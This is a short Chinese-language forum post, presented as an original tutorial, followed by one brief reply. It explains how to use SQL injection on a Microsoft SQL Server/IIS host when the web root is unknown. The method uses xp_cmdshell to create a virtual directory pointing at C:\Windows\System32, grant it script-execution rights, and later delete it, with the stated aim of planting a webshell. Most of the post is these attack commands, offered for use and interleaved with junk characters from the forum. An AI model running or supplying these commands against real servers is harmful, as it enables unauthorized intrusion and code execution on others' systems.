[原创教程] 如何SQL注入建立虚拟目录 SQL, 目录, 虚拟

平湖秋月

很多情况下我们都会遇到SQL注入可以列目录和运行命令，但是却很不容易找到web所在目录，也就不好得到一个webshell，应该算是无意中发现了一招，感觉不错 整理下发上来给大家分享：
  U  @4 ~# W) P
: A9 G7 _- i$ o3 m% h) \- i: Yexec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"'
1 p: V& s: |2 E- X7 t1 m建立虚拟目录win,指向c:\windows\system32
# P9 A, n6 v4 u. _$ l* bexec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
& f5 m6 K  u, n2 U! v4 |- t让win句有解析asp脚本权限' C5 W. [6 @* r- u4 c, d4 D

# e* b: ]) n! x- A9 [5 F+ Dexec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"
/ B; |. |3 a, w* o6 K+ q删除虚拟目录。8 ]8 C. }1 s8 D
找不到web绝对路径的一种解决办法，: V6 N9 ?5 E" ?* e& F( r

$ j: v* A' O! s' G3 {403错误，表示虚拟目录建好了。。

wmmy

呀  LZ好久不见你上了啊